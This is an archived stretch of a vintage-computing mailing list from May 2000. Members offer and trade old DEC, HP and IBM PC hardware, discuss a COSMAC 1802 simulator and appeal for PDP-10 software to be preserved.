>during install, but I'm not sure. Not that I know of for VAX. >Just for the heck of it, (Never installed VMS on a VLC before) i tried it >few hours before. >I took a TEAC CDROM + 1 GB Fujitsu Drive. Took me around 1 hour to logon in >DECWindows, without any problems. Not surprized. Enjoy! Allison From g at kurico.com Tue May 2 23:10:29 2000 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:52:23 2005 Subject: Free DECServer 200/MC (2x) In-Reply-To: References: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> Message-ID: <390F6065.25332.32B50684@localhost> I have two DECServer 200/MC's that are available for anyone who wants them. I have no idea if they work or not (got them at an auction). You pay shipping from Austin, TX. George From mikeford at socal.rr.com Wed May 3 00:04:57 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:23 2005 Subject: IBM 9332, Alpha Micro In-Reply-To: References: Message-ID: Two items found at a scrap yard; Rack of IBM 9332 200 93X1662 disk drives, with one big floppy drive. Alpha Micro AM 2000 - M From dogas at leading.net Tue May 2 23:57:04 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:23 2005 Subject: COSMAC 1802 Simulator Message-ID: <000601bfb4bc$09818e00$ca646464@dogclient01> Tonight I added the mini-assembler and memory block saves&loads to the 1802 simulator. The 95/98/nt console binary and source-code are at: http://users.leading.net/~dogas/classiccmp/cosmac/vcosmac.htm >Allison > >Good runs under W95/nt then, have that running. >M!... Ah UT4. have manual. heh.. early influences... >Wheres Bin/CPP for it? Up there. Let me know if it doesn't do what you think it should. Thanks - Mike: dogas@leading.net > >Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 >it was faster than 1802. I wonder where I put that. > > From ernestls at home.com Wed May 3 00:47:10 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:52:23 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <016c01bfb485$0ab446a0$e0711fd1@default> Message-ID: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.com> Today, I was given a bunch of interesting vintage items. HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices (have you seen one of these before, Joe?) HP 9114A floppy drive box for HP110 HP 9114B "same as above" with cool battery status lights, and original yellow floppy protector insert. HP Thinkjet portable printer for HP 110. HP Series 100 Communicator Volumes 7-12 (very cool) GCC Technologies FX-20 -upright external SCSI hard drive (looks like a beige socket wrench box) Apple II SCSI card for use with above drive. Hayes MicroModem II (300 baud) with external coupler, user guide, and software disk (1981) This little modem setup is strangely beautiful to me, and by the looks of it, I think that it must have been mostly hand made. ...of course, I think that my HP150 is beautiful too, so I may not be the best judge of art. Ernest -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000502/26520ae6/attachment-0001.html From ernestls at home.com Wed May 3 00:57:35 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:52:23 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.com> Message-ID: <000a01bfb4c4$7b3c43c0$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ernest Sent: Tuesday, May 02, 2000 10:47 PM To: classiccmp@classiccmp.org Subject: Couple of cool HP 110/150 finds Today, I was given a bunch of interesting vintage items. ? HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices (have you seen one of these before, Joe?) HP 9114A floppy drive box for HP110 HP 9114B "same as above" with cool battery status lights, and original yellow floppy protector insert. HP Thinkjet portable printer for HP 110. HP Series 100 Communicator Volumes 7-12 (very cool)? ? GCC Technologies FX-20 -upright external SCSI hard drive (looks like a beige socket wrench box) Apple II SCSI card for use with above drive. Hayes MicroModem II (300 baud) with external coupler, user guide, and software disk (1981) This little modem setup is strangely beautiful to me, and by the looks of it, I think that it must have been mostly hand made. ? ...of course, I think that my HP150 is beautiful too, so I may not be the best judge of art. ? Ernest? PS. I forgot to add: HP SCSI/Parallel Interface box (88396) It says "same functionality as 88395," whatever that means? Box of HP power supply cubes and HB-IL? cables. I really needed these!? ?? ? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000502/c6b8a2bd/attachment-0001.html From jhfine at idirect.com Wed May 3 08:17:29 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:23 2005 Subject: OT: Test Message-ID: <391026E9.65DEB8D1@idirect.com> Testing - Please Ignore! From CLASSICCMP at trailing-edge.com Wed May 3 08:26:22 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:23 2005 Subject: Semi-Irregular PDP-10 archives plea for contributions Message-ID: <000503092622.20200ae5@trailing-edge.com> [The article below is a reply I wrote to a post in the Usenet group alt.sys.pdp10. I do feel that it may reach some additional audience here.] sjm wrote: > > > Your only hope is that one of the four-hundred-and-eighty ongoing > projects to write a PDP-10 emulator will eventually produce > something that compiles. At least a third of these projects are also > completely imaginary, so don't get your hopes up. Those that aren't > will be ready for (limited) public review under strict NDA within > eight years if current agressive development schedules are met. A good number of the emulator (simulator?) authors are a bit afraid that releasing their current source code would require that they support it. I'm of the other opinion - if they release their current source code (I don't care if it's GPL or not GPL, I do *not* want to get into that religious war!) then others will support it. What's really encouraging is that several of the authors of the DECUS freeware in the archives have wandered across the collection and told me that they appreciate seeing software that they used or wrote themselves, sometimes 30 or more years ago. > TOPS-10 and TOPS-20 software is available online thanks to Tim Shoppa > and some anonymous donors. You're welcome :-). It's nice to see that at least I - and both the anonymous and not-so-anonymous donors mentioned at the archive home page, http://pdp-10.trailing-edge.com/ - come off as the good guys. We're really trying. I've seen some emulator progress mentioned here as a result of the sources being available and browsable, and that's a Good Thing. So far several hundred people have visited the archive site and downloaded or browsed through the software available, and that's a Good Thing too. > Plenty more would be, but the community > has largely, and very wisely, decided that it would be far better if > the existing software were allowed to mildew unsaved in basements. > This will preserve its purity so it is not touched by infidels. It really breaks my heart and pains me that so much software is out there just rotting away. Some of the current holders of the tapes don't understand that the tapes *are* still readable (sure, not everyone has 9-track and 7-track drives anymore, and not everyone has the ability to read and decode TOPS-10 BACKUP or TOPS-20 DUMPER tapes, but I do!), others don't understand that there is a wide interest in the software. There are some other organizations - such as computer museums - that probably don't understand the value of the tapes or disks they currently have in their collection. Many of these museums have members/volunteers that read this newsgroup, and I hope that those readers pay attemtion to my plea below. Thus I'll repeat my plea: If anyone has any PDP-10 software covered by the DEC 36-bit hobbyist license, please get it to me. I'll pay shipping both ways, and I'm an expert at archiving old data. Your tapes will be properly cared for, carefully read, and returned. If you want, you'll be thanked on the archive page for the stuff you provide, or if you prefer you can remain anonymous. Just don't let the software rot away! The best reference I can give is what I've done so far. Just look at http://pdp-10.trailing-edge.com/ and you'll find hundreds of megabytes of PDP-10 software, preserved in both *exact* tape or disk image form and as browsable, human-readable files. Both commercial software covered by the DEC 36-bit hobbyist license and the DECUS 10- and 20- freeware collections are available there. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From lemay at cs.umn.edu Wed May 3 09:12:17 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:23 2005 Subject: Milwaukee Journal Sentinel article - Recycling computers Message-ID: <200005031412.JAA00440@caesar.cs.umn.edu> Just noticed a new article in the Milwaukee Journal Sentinel. A new recycling program started 2 weeks ago, and already they have quite a few computers (well, duh!). Anyways, here is a link, you can read teh article, and if you're in wisconsin, maybe you might want to start paying them a visit occasionally, and geting them used to interacting with collectors, maybe even talk them into saving certain kinds of hardware... who knows what you could accomplish with a brand new program like that. http://www.msnbc.com/local/WTMJ/36008.asp -Lawrence LeMay From lemay at cs.umn.edu Wed May 3 11:45:33 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts Message-ID: <200005031645.LAA09620@caesar.cs.umn.edu> I have some IBM PC's to be disposed of, and I was planning to try and grab a few of the full height floppy drives before they go to the campus recycling center. Does anyone have a need for something from a PC, and I do mean PC, the model before XT's.. Or does someone want to trade something for a full height floppy drive. If so, let me know and I'll see what I can do. Small things that might look interesting in a display case would certainly interest me... There are monitors as well, but if any work they probably have a lot of screen burn, and arent worth saving. There is also one AT, but I doubt anyone would offer enough to make me attempt to acquire it and ship it. This stuff is at the University of Minnesota, Minneapolis. -Lawrence LeMay From RCini at congressfinancial.com Wed May 3 11:43:52 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:23 2005 Subject: Apple HS SCSI or RamFAST Message-ID: <497A9E0467D2D2119B760090271EB8E50E90C6@MAIL10> Hello, all: I want to replace my CMS SCSI card in my gs with a card that can handle CDs and ZIP disks. I know that either of these cards is rare, but does anyone have one they can part with? Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From allisonp at world.std.com Wed May 3 12:50:41 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:23 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000601bfb4bc$09818e00$ca646464@dogclient01> Message-ID: Hi, Havent played anything hard on it to test if it is a valid 1802 but I have comments and suggestions. Build it as a basic engine, if it needs ram then set a external parameter list for how much and what addresses, same for rom. Simulate IO, if it has a uart on the N-lines then create the registers/data you interact with (or the Q and Sense lines). The console can be like the ELF (switches and lights) and/or a RS232 tube connected via Q and F lines, software uart required as part of the code as UT4 does. Load UT4 (or whatever) from a start up list to emulate the rom and have the 1802 engine execute the "rom" cone out of memory space. This would allow code to "call" various ut4 routines like get or type. The miniassembler is nice and plenty handy. You may want to consider having it run like real code loaded into ram later on. The core of the instruction set is fairly regular so the select tree can be broken into functional sub trees for simpler code. The version of TB I have is quest TB and I don't have it on machine readable form (other than papertape which I currentlly can't read) so I'd have to copy the pages and someone can have the fun of toggleing it in, it'a about 1k or 2k. Allison On Wed, 3 May 2000, Mike wrote: > Tonight I added the mini-assembler and memory block saves&loads to the 1802 > simulator. The 95/98/nt console binary and source-code are at: > > http://users.leading.net/~dogas/classiccmp/cosmac/vcosmac.htm > > >Allison > > > >Good runs under W95/nt then, have that running. > >M!... Ah UT4. have manual. > > heh.. early influences... > > >Wheres Bin/CPP for it? > > Up there. > > Let me know if it doesn't do what you think it should. > > Thanks > - Mike: dogas@leading.net > > > > > >Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 > >it was faster than 1802. I wonder where I put that. > > > > > From charp at bitflash.com Wed May 3 12:54:19 2000 From: charp at bitflash.com (Frederic Charpentier) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: <001701bfb528$9bea3500$9801a8c0@frederickc> I have been trying to get a couple of original PC cases and full-height drives for a while now. I have 2 low SN motherboards fully cleaned, recovered and operational with a whopping 256K RAM (!) on the motherboard. I would love to get a couple of cases, drives and any original IBM boards that may be in there. Cheers, Frederic mailto: charp@bitflash.com -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Lawrence LeMay Sent: Wednesday, May 03, 2000 12:46 PM To: classiccmp@classiccmp.org Subject: IBM PC parts I have some IBM PC's to be disposed of, and I was planning to try and grab a few of the full height floppy drives before they go to the campus recycling center. Does anyone have a need for something from a PC, and I do mean PC, the model before XT's.. Or does someone want to trade something for a full height floppy drive. If so, let me know and I'll see what I can do. Small things that might look interesting in a display case would certainly interest me... There are monitors as well, but if any work they probably have a lot of screen burn, and arent worth saving. There is also one AT, but I doubt anyone would offer enough to make me attempt to acquire it and ship it. This stuff is at the University of Minnesota, Minneapolis. -Lawrence LeMay From mikeford at socal.rr.com Wed May 3 13:01:38 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: >I have some IBM PC's to be disposed of, and I was planning to try and grab >a few of the full height floppy drives before they go to the campus >recycling center. Does anyone have a need for something from a PC, and >I do mean PC, the model before XT's.. Or does someone want to trade >something for a full height floppy drive. If so, let me know and I'll My rule is to pull anything that looks different or interesting. Obviously a 16-256k logic board is worth preserving, but so are any special looking cables. Anything special about the full height drives? From ard at p850ug1.demon.co.uk Wed May 3 13:46:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:23 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.com> from "Ernest" at May 2, 0 10:47:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2094 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/953cac26/attachment-0001.ksh From jfoust at threedee.com Wed May 3 14:04:45 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:23 2005 Subject: Milwaukee Journal Sentinel article - Recycling computers In-Reply-To: <200005031412.JAA00440@caesar.cs.umn.edu> Message-ID: <4.3.0.20000503140246.019ffdf0@pc> At 09:12 AM 5/3/00 -0500, Lawrence LeMay wrote: >Just noticed a new article in the Milwaukee Journal Sentinel. A new >recycling program started 2 weeks ago, and already they have quite >a few computers (well, duh!). I would guess they're tossing anything that isn't IBM compatible. It's not far from me, I may pay them a visit at some point. - John From wilson at dbit.dbit.com Wed May 3 14:28:25 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: ; from mikeford@socal.rr.com on Wed, May 03, 2000 at 11:01:38AM -0700 References: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: <20000503152825.A21853@dbit.dbit.com> On Wed, May 03, 2000 at 11:01:38AM -0700, Mike Ford wrote: > Anything special about the full height drives? Nope, they're regular Tandon TM100-1 or TM100-2 drives. On *some* drives, IBM had custom face plates made with the IBM logo in one corner, but they were still the nice Tandon drives. Eli Heffron's used to have the TM100-2 drives for $5/ea in great shape, with or without the IBM logo, no idea if that's still true (this was a while ago). Sure beats the days when an SA400L was over $100! John Wilson D Bit From rigdonj at intellistar.net Wed May 3 15:11:48 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:23 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.co m> References: <016c01bfb485$0ab446a0$e0711fd1@default> Message-ID: <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Hi Ernest, At 10:47 PM 5/2/00 -0700, you wrote: >Today, I was given a bunch of interesting vintage items. > >HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices >(have you seen one of these before, Joe?) I have one but it looks about like one of the standard RS-232 switch boxs and it only switchs between four (i think!) sets of HP-IB cables. >HP 9114A floppy drive box for HP110 >HP 9114B "same as above" with cool battery status lights, and original >yellow floppy protector insert. >HP Thinkjet portable printer for HP 110. Yes, those are cool. They can also be used with the HP 75, HP 71 and HP 41 calculators if you add the HP-IL interface to them. >HP Series 100 Communicator Volumes 7-12 (very cool) Now those are unusual. I have two volumes but I've never been able to find any more of them. Where did you find them? Joe From rigdonj at intellistar.net Wed May 3 14:57:43 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:23 2005 Subject: What a weekend! Message-ID: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Cripes, what a weekend! I went out Friday and the first thing I found was a huge Helium Neon laser. It's a Spectra Physics 125 and the thing is over six feet long! Also picked that National Semiconductor Multibus computer that I told everyone about. Also picked up a Fluke 1722, a HP 9816 computer and a big box of 8mm computer tapes on the same day. Then went to an auction of space stuff with a friend of mine on Saturday. Big mistake! We've been moving stuff ever since. I've been leaving by 6:30 AM and not getting home till close till midnight. We ended up with four large work benches, 30 feet of 12 foot pallet racking and about 35 pallets of stuff! We got some cool stuff though, a complete Apple II, an Apple III with an external disk drive, two Olympia ETX-II computers, a Terak computer, a pile of HP terminals, a complete DEC Rainbow and more. Also got a a VERY complete HP 1000 including a 7905 disk drive with the disk pack still in it. Also found an entire gaylord of manuals for it. And that's just the computer stuff. Also got all kinds of electronics parts, test equipment and space stuff. Even got parts from a lunar lander and a gyro from a Saturn V. Also got a UV spectrometer. Way Cool! Other goodies include 50+ factory software tapes for the HP 9845, a strange old HP MODEM, nine HP 85 interfaces and a blue Intel paper tape reader to go with the rest of my Intel MDS system. Joe PS does anyone have any instructions or a catalog listing or other information for a Tektronix J20 (or 7J20?) Photo-Spectrometer????? It's a plug-in for the Tektronix 7000 series scope mainframes. We got all three pieces of the electronics for it but didn't get the lense for it. It might be in the stuff but we don't know what it looks like. Joe From jfoust at threedee.com Wed May 3 14:50:19 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:23 2005 Subject: TRS-80 Model II Available in Madison, WI Message-ID: <4.3.0.20000503144903.00bc74f0@pc> >-----Original Message----- >From: Joe Lecher > >Hey, would John be interested in a complete TRS-80 Model II? 8 meg hard >disk, plotter (uses ball point type pen), 8 1/2 " drive expansion unit with >two of three bays filled. Doesn't boot anymore, probably power supply. >Schnazzy in its day....... Oh hey software too! Mulitplan, Pickles & Trout >CP/M etc..... You know, the wife thing, been promising to ditch it....... If you're interested, contact me in private mail and I'll forward to the person who will forward it to the other person. - John From healyzh at aracnet.com Wed May 3 14:54:44 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:23 2005 Subject: What a weekend! In-Reply-To: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: >was a huge Helium Neon laser. It's a Spectra Physics 125 and the thing is So, did you actually get the laser, or just find it? > Then went to an auction of space stuff with a friend of mine on >Saturday. Big mistake! We've been moving stuff ever since. I've been >leaving by 6:30 AM and not getting home till close till midnight. We ended >up with four large work benches, 30 feet of 12 foot pallet racking and >about 35 pallets of stuff! We got some cool stuff though, a complete Apple Ouch! >Also got a a VERY complete HP 1000 including a 7905 disk drive with the >disk pack still in it. Also found an entire gaylord of manuals for it. And You found a grills ventilation system of manuals? (A Gaylord is a ventilation system used above grills and deep fat fryers (mispent early career as an electrician)) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From kdavis at bender.ndx.net Wed May 3 13:51:16 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: <20000503152825.A21853@dbit.dbit.com> from "John Wilson" at May 03, 2000 03:28:25 PM Message-ID: <200005031851.LAA24039@bender.ndx.net> > > On Wed, May 03, 2000 at 11:01:38AM -0700, Mike Ford wrote: > > Anything special about the full height drives? > > Nope, they're regular Tandon TM100-1 or TM100-2 drives. On *some* drives, > IBM had custom face plates made with the IBM logo in one corner, but they > were still the nice Tandon drives. > > Eli Heffron's used to have the TM100-2 drives for $5/ea in great shape, > with or without the IBM logo, no idea if that's still true (this was a > while ago). Sure beats the days when an SA400L was over $100! > > John Wilson > D Bit > From kdavis at bender.ndx.net Wed May 3 13:51:21 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC partstGlobals *gCGlobs __asm ("gp"); In-Reply-To: <20000503152825.A21853@dbit.dbit.com> from "John Wilson" at May 03, 2000 03:28:25 PM Message-ID: <200005031851.LAA24048@bender.ndx.net> From CLASSICCMP at trailing-edge.com Wed May 3 15:20:27 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:23 2005 Subject: What a weekend! Message-ID: <000503162027.20200b4d@trailing-edge.com> >>Also got a a VERY complete HP 1000 including a 7905 disk drive with the >>disk pack still in it. Also found an entire gaylord of manuals for it. And >You found a grills ventilation system of manuals? (A Gaylord is a >ventilation system used above grills and deep fat fryers (mispent early >career as an electrician)) Well, I've spent enough time working on robotic warehouse systems at shipping and loading docks that I know that a Gaylord is a largish cardboard shipping container with a lid, usually used to hold a lot of smaller boxes :-). Tim. From jdarren at ala.net Wed May 3 15:28:53 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:52:23 2005 Subject: perkin-elmer/concurent manuals Message-ID: <003a01bfb53e$33e7eae0$026464c0@j.peters> I have several dozen original-issue Perkin-Elmer/Concurrent 3200-series hardware and software manuals for $8 each, plus $3 shipping per order. Anyone interested in receiving a list? If so, please e-mail directly. J. Darren Peterson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/410f93f7/attachment-0001.html From John.Allain at donnelley.infousa.com Wed May 3 15:37:32 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:23 2005 Subject: What a weekend! In-Reply-To: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <000801bfb53f$68df6060$0e0301ac@dba00802.databaseamerica.com> Joe said: > an Apple III with an external disk drive... Fastastic! Great! > Even got parts from a lunar lander... What? Name 'em! > and a gyro from a Saturn V... How big did those fellers get, anyway? John A. From ard at p850ug1.demon.co.uk Wed May 3 14:14:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: from "Mike Ford" at May 3, 0 11:01:38 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 551 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/00a994b2/attachment-0001.ksh From marvin at rain.org Wed May 3 15:49:19 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts References: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: <391090CF.BB57C75A@rain.org> Lawrence LeMay wrote: > > I have some IBM PC's to be disposed of, and I was planning to try and grab > a few of the full height floppy drives before they go to the campus > recycling center. Does anyone have a need for something from a PC, and > I do mean PC, the model before XT's.. Or does someone want to trade You might take a look at the motherboards and see which PC motherboard is in them. The early ones, 16k - 64K, are probably getting much harder to find these days. I have a couple but it has been quite a few years since I've seen others. From jolminkh at nsw.bigpond.net.au Wed May 3 17:12:18 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts Message-ID: <002401bfb54c$a62be620$dadf8490@tp.nsw.bigpond.net.au> > >My rule is to pull anything that looks different or interesting. Obviously >a 16-256k logic board is worth preserving, but so are any special looking >cables. > There was no 16-265k logic board. There was a 16-64k and a 64-256k What is the world coming to when collectors are having trouble locating original PC cases and value 64-256k boards ?? Am I getting that old? From lemay at cs.umn.edu Wed May 3 16:13:46 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: <20000503152825.A21853@dbit.dbit.com> from John Wilson at "May 3, 2000 03:28:25 pm" Message-ID: <200005032113.QAA25921@caesar.cs.umn.edu> > On Wed, May 03, 2000 at 11:01:38AM -0700, Mike Ford wrote: > > Anything special about the full height drives? > Well, the main reasons I wanted to grab some, were so I would have some for a display someday (sort of a history of floppy drives), plus I figured if people had genuine IBM XT's in their collections, it would be likely that someone had upgraded to a half height floppy in order to gain an additional drive bay. Such a person might want to restore their unit to original condition while they still have an opportunity to do so. Might be useful in other machines, possibly TRS-80 model 3 and 4 used full height tandon drives? -Lawrence LeMay From cmcmanis at mcmanis.com Wed May 3 16:20:52 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: References: Message-ID: <4.1.20000503141937.0447eee0@mailhost.hq.freegate.com> Not to mention the original ROM based BASIC that is in early IBM PCs and is allowed for in later models and clones even though it was rarely installed. (there was no "clean room" BASIC done AFAIK) --Chuck From bill at chipware.com Wed May 3 16:34:14 2000 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: <200005032113.QAA25921@caesar.cs.umn.edu> Message-ID: <001b01bfb547$54108ee0$350810ac@yamato.chipware.com> > Well, the main reasons I wanted to grab some, were so I would have some > for a display someday (sort of a history of floppy drives), plus > I figured if people had genuine IBM XT's in their collections, it > would be likely that someone had upgraded to a half height floppy > in order to gain an additional drive bay. Such a person might want > to restore their unit to original condition while they still have > an opportunity to do so. > > Might be useful in other machines, possibly TRS-80 model 3 and 4 > used full height tandon drives? NorthStar Horizons! From ard at p850ug1.demon.co.uk Wed May 3 16:29:29 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts In-Reply-To: <4.1.20000503141937.0447eee0@mailhost.hq.freegate.com> from "Chuck McManis" at May 3, 0 02:20:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 509 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/0e9ed915/attachment-0001.ksh From ethan_dicks at yahoo.com Wed May 3 16:33:07 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:23 2005 Subject: IBM PC parts Message-ID: <20000503213307.24166.qmail@web614.mail.yahoo.com> --- Olminkhof wrote: > There was no 16-265k logic board. There was a 16-64k and a 64-256k > > What is the world coming to when collectors are having trouble locating > original PC cases and value 64-256k boards ?? Am I getting that old? They are still available occasionally at my local Volunteers Of America outlet - routinely $5 to $7, keyboard extra. I have one or two including one that is still performing its original duties from 1983 - a display terminal for a NorthWest Instruments 68000 bus analyzer. We threw a defective MFM drive on it (bad platter giving us reduced capacity) and slapped it and the NW box into a gutted VAX-11/725 case. It was very handy to wheel up to a test board and plug in... the mono monitor and full-sized keyboard fit on top of the former VAX without falling off. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jfoust at threedee.com Wed May 3 16:48:14 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:23 2005 Subject: ASR-33 manual online? Message-ID: <4.3.0.20000503164733.00adda40@pc> Am I just imagining that someone scanned the service manual and put it online? A search of my saved messages and web bookmarks revealed nothing... - John From lemay at cs.umn.edu Wed May 3 17:19:31 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:24 2005 Subject: IBM PC parts In-Reply-To: <002401bfb54c$a62be620$dadf8490@tp.nsw.bigpond.net.au> from Olminkhof at "May 4, 2000 08:12:18 am" Message-ID: <200005032219.RAA29867@caesar.cs.umn.edu> [Charset iso-8859-1 unsupported, filtering to ASCII...] > > > >My rule is to pull anything that looks different or interesting. Obviously > >a 16-256k logic board is worth preserving, but so are any special looking > >cables. > > > > > There was no 16-265k logic board. There was a 16-64k and a 64-256k > > What is the world coming to when collectors are having trouble locating > original PC cases and value 64-256k boards ?? Am I getting that old? > We all are ;) These are the 64-256 motherboards, from 1984. Think of it this way, college freshmen were only 2 years old when these computers were purchased... Scarry, eh? BTW, the floppy drives appear to be Tandon 100-2A, with IBM faceplates. 48 TPI DSR. I'm waiting for the day that some Antiques Roadshow person starts to Gush about the fine old 'patina' on the metal parts of some floppy drive. I plan to throw up right about then... -Lawrence LeMay lemay@cs.umn.edu From lemay at cs.umn.edu Wed May 3 17:25:28 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:24 2005 Subject: ASR-33 manual online? In-Reply-To: <4.3.0.20000503164733.00adda40@pc> from John Foust at "May 3, 2000 04:48:14 pm" Message-ID: <200005032225.RAA00254@caesar.cs.umn.edu> Its at highgate. http://highgate.comm.sfu.ca/pdp8/ If you're using windows NT or 98, there is a built-in viewer that can handle multipage tiffs. You can right-click on teh links to save the files, then either double click the filenames from windows NT explorer, or open the program yourself, its in start->programs->accessories ifi recall correctly. its called 'imaging' or something like that, from kodak? if you dont have it, you may have to load optional software from your NT/98 CDrom. If you have windows 95, it is an optional download. And of course there are various free plugins for netscape that would also do the trick. If you use the built-in Windows viewer, use page-down and page-up to scroll up/down the pages. -Lawrence LeMay lemay@cs.umn.edu > > Am I just imagining that someone scanned the service manual > and put it online? A search of my saved messages and web > bookmarks revealed nothing... > > - John > From lemay at cs.umn.edu Wed May 3 17:46:16 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:24 2005 Subject: IBM PC parts In-Reply-To: <001b01bfb547$54108ee0$350810ac@yamato.chipware.com> from Bill Sudbrink at "May 3, 2000 05:34:14 pm" Message-ID: <200005032246.RAA01513@caesar.cs.umn.edu> > > > > Might be useful in other machines, possibly TRS-80 model 3 and 4 > > used full height tandon drives? > > NorthStar Horizons! > So if someone was to bid on that Northstar Horizon thats on Ebay, but that doesnt have any floppy drives... -Lawrence LeMay From gaz_k at lineone.net Tue May 2 15:18:42 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:24 2005 Subject: Attention List Admin blokey References: <200005021608.JAA18992@bender.ndx.net> Message-ID: 